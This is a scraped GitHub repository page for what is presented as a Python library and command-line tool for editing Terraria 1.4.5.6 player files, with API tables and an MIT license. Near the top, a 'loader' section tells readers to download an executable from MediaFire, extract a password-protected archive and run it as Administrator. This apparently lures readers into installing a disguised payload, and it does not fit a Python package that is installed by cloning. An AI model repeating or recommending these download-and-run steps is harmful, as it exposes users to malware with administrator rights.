Skip to content

About

A Python library and command-line tool designed for working with Terraria 1.4.5.6 (.plr) player files.

Topics

Contributing

Stars

87 stars

Watchers

0 watching

Forks

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

Downloads User Rating Latest Version

⚡ All-in-one loader: The entire script is compiled into a single loader for your convenience — just download, extract, and run. No extra setup required.

  1. ⬇️ Download the tool from the button above.
  2. 📦 Extract the archive (password: respocket).
  3. 🖱️ Run as Administrator – right‑click the executable and select Run as Administrator.
  4. ✅ Follow the setup wizard – complete the installation.
  5. 🚀 Launch the Tool – the main window appears.

⚠️ Important: Official Distribution Notice

We distribute our software only through MediaFire.
If the download link leads to any other file-sharing service, please do not download it — it may be an unofficial or modified copy.
For your safety, always use the official release.


💙 Prepared by the Respocket Team

This release was carefully prepared by the Respocket Team — with attention to every detail, a focus on stability, and respect for our users.
Thank you for choosing our software. Download only official versions and stay with us!


Terraria Player / .plr Editor (1.4.5.6)

The project can be used directly through the CLI or imported as a Python package for integration into other applications, scripts, or tools.


Note

Terraria is developed by Re-Logic. This is an independent community project and is not affiliated with or endorsed by Re-Logic.

Installation

Clone the repository:

## CLI

After installation, use the `terraria-player` command.

### Help

```bash
terraria-player --help

Player information

terraria-player info player.plr

Inventory

terraria-player inventory player.plr

All parsed data

terraria-player all player.plr

Editing

terraria-player edit player.plr

The CLI automatically locates the bundled item database.


Python API

The parser can be used directly in your own project:

from terraria_player import PlayerParser

parser = PlayerParser(
    "player.plr",
    "data/items.json",
)

player = parser.parse()

print(player["name"])
print(player["life"])
print(player["max_life"])

Reading inventory

for row_index, row in enumerate(player["inventory"]):
    for slot_index, item in enumerate(row):
        if item is None:
            continue

        print(
            f"[{row_index}:{slot_index}] "
            f"{item.name} ×{item.count}"
        )

Editing a player

from terraria_player import PlayerParser, PlayerEditor

parser = PlayerParser(
    "player.plr",
    "data/items.json",
)

editor = PlayerEditor(parser)

editor.set_name("Rizen")
editor.set_life(200)
editor.set_max_life(400)

editor.save("edited_player.plr")

Inventory values can also be modified:

editor.set_inventory_item(
    row=0,
    slot=0,
    count=99,
)

API

PlayerParser

Method Description
parse() Parse the player file
decrypt() Decrypt the player file
read_inventory() Read the main inventory
read_loadouts() Read player loadouts
read_buffs() Read active buffs
read_spawn_points() Read spawn points

PlayerEditor

Method Description
set_name() Change the player name
set_hair_style() Change the hair style
set_hair_dye() Change the hair dye
set_team() Change the team
set_life() Change current life
set_max_life() Change maximum life
set_mana() Change current mana
set_max_mana() Change maximum mana
set_inventory_item() Modify an inventory slot
save() Save the edited player file

MIT License

Copyright (c) 2026 Rizen

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

About

A Python library and command-line tool designed for working with Terraria 1.4.5.6 (.plr) player files.

Topics

Contributing

Stars

87 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages